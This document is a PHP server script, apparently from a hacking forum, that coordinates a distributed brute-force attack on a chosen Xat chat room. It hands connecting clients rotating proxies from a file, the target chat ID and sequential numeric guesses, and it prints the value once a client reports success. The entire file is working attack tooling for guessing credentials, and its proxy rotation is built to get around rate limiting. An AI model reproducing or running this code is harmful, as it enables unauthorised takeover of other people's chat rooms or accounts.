Xat Brute Force(Server)

<?php
error_reporting(E_ALL);
//By Hundrea/Kronos
echo "What is the id of the chat you want to Bruteforce?\n";
$chatida = fgets(STDIN);
$Xatsocket=socket_create_listen(4317);
if(!$Xatsocket){
echo "Failed to create socket!";
exit();
}
else{
echo "Create Socket On Port 4317 Successfully!\n";
}
$proxy=file("proxy.txt");
//$startNumber=100000000;
$startNumber=296756942;
for($x=0;$x<count($proxy);$x++)
    {
        $AcceptedSocket=socket_accept($Xatsocket);
        echo "Client Connected!\n";
        $argu=explode("/xz/",socket_read($AcceptedSocket,999999));
        switch($argu[0]){
        case "Proxy":socket_write($AcceptedSocket,$proxy[$x],strlen($proxy[$x])); break;
        case "ID":socket_write($AcceptedSocket,$chatida,strlen($chatida)); break;
        case "Success":socket_write($AcceptedSocket,"got",3);  echo "Success :".$argu[1]; exit(); break;
        case "Number":socket_write($AcceptedSocket,$startNumber,strlen($startNumber));$startNumber++; break;
        case "Timeout":echo "Timeout Error\n"; break;
        default: echo "Unknown Error\n";
        }
        echo "Currect Digit:$startNumber ";
    socket_close($AcceptedSocket);
            if($x==count($proxy)-1)
        {
            $x=0;
            echo "Reloaded Proxy List!";
        }
    }


echo "Connection Ended!";
?>